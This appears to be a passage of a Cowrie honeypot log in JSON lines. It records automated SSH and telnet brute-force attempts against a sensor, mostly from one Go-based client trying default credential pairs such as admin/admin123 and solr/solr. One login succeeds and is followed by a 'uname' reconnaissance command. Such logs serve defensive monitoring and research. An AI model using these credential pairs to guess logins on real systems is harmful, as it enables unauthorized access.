{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.117979Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.369630Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.587417Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.590825Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.677512Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:46.682630Z","src_ip":"192.109.200.237","session":"1ec1d67a6638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:47.122789Z","src_ip":"37.233.85.71","session":"6aaa5032bedf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"f227519b1c2d","protocol":"ssh","message":"New connection: 192.109.200.237:47990 (159.203.135.109:22) [session: f227519b1c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:49.278305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:49.283490Z","src_ip":"192.109.200.237","session":"f227519b1c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:49.366118Z","src_ip":"192.109.200.237","session":"f227519b1c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:49.666094Z","src_ip":"192.109.200.237","session":"f227519b1c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd05480d5797","protocol":"telnet","message":"New connection: 152.42.224.71:49704 (10.17.0.5:23) [session: bd05480d5797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:49.869999Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:50.751439Z","src_ip":"192.109.200.237","session":"f227519b1c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58846,"dst_ip":"159.203.135.109","dst_port":22,"session":"3207f6f1fdcf","protocol":"ssh","message":"New connection: 192.109.200.237:58846 (159.203.135.109:22) [session: 3207f6f1fdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:52.737315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:52.741959Z","src_ip":"192.109.200.237","session":"3207f6f1fdcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:52.824223Z","src_ip":"192.109.200.237","session":"3207f6f1fdcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:53.069883Z","src_ip":"192.109.200.237","session":"3207f6f1fdcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.37621283531189,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:53.165777Z","src_ip":"152.42.224.71","session":"056d3b35a902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49708,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ef3eee0a50","protocol":"telnet","message":"New connection: 152.42.224.71:49708 (10.17.0.5:23) [session: 93ef3eee0a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:53.968506Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:54.154650Z","src_ip":"192.109.200.237","session":"3207f6f1fdcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49714,"dst_ip":"10.17.0.5","dst_port":23,"session":"338eecc86378","protocol":"telnet","message":"New connection: 152.42.224.71:49714 (10.17.0.5:23) [session: 338eecc86378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:54.997550Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58860,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f9560880650","protocol":"ssh","message":"New connection: 192.109.200.237:58860 (159.203.135.109:22) [session: 2f9560880650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:55.878798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:55.883837Z","src_ip":"192.109.200.237","session":"2f9560880650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:55.972137Z","src_ip":"192.109.200.237","session":"2f9560880650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:56.220213Z","src_ip":"192.109.200.237","session":"2f9560880650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:57.306601Z","src_ip":"192.109.200.237","session":"2f9560880650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58876,"dst_ip":"159.203.135.109","dst_port":22,"session":"b95b33e3712a","protocol":"ssh","message":"New connection: 192.109.200.237:58876 (159.203.135.109:22) [session: b95b33e3712a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:59.214410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:59.219803Z","src_ip":"192.109.200.237","session":"b95b33e3712a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:59.302181Z","src_ip":"192.109.200.237","session":"b95b33e3712a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:23:59.548817Z","src_ip":"192.109.200.237","session":"b95b33e3712a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:00.635293Z","src_ip":"192.109.200.237","session":"b95b33e3712a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38348,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad24fb0dbda","protocol":"ssh","message":"New connection: 192.109.200.237:38348 (159.203.135.109:22) [session: cad24fb0dbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:02.745101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:02.766103Z","src_ip":"192.109.200.237","session":"cad24fb0dbda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:02.835829Z","src_ip":"192.109.200.237","session":"cad24fb0dbda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:03.156879Z","src_ip":"192.109.200.237","session":"cad24fb0dbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:04.245503Z","src_ip":"192.109.200.237","session":"cad24fb0dbda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38354,"dst_ip":"159.203.135.109","dst_port":22,"session":"d850163ef784","protocol":"ssh","message":"New connection: 192.109.200.237:38354 (159.203.135.109:22) [session: d850163ef784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:06.148746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:06.153679Z","src_ip":"192.109.200.237","session":"d850163ef784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:06.237037Z","src_ip":"192.109.200.237","session":"d850163ef784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:06.486003Z","src_ip":"192.109.200.237","session":"d850163ef784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:07.653427Z","src_ip":"192.109.200.237","session":"d850163ef784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.17140507698059,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:09.023285Z","src_ip":"152.42.224.71","session":"5e5645d48ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"b313271acd58","protocol":"ssh","message":"New connection: 192.109.200.237:38362 (159.203.135.109:22) [session: b313271acd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:09.516423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:09.524214Z","src_ip":"192.109.200.237","session":"b313271acd58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 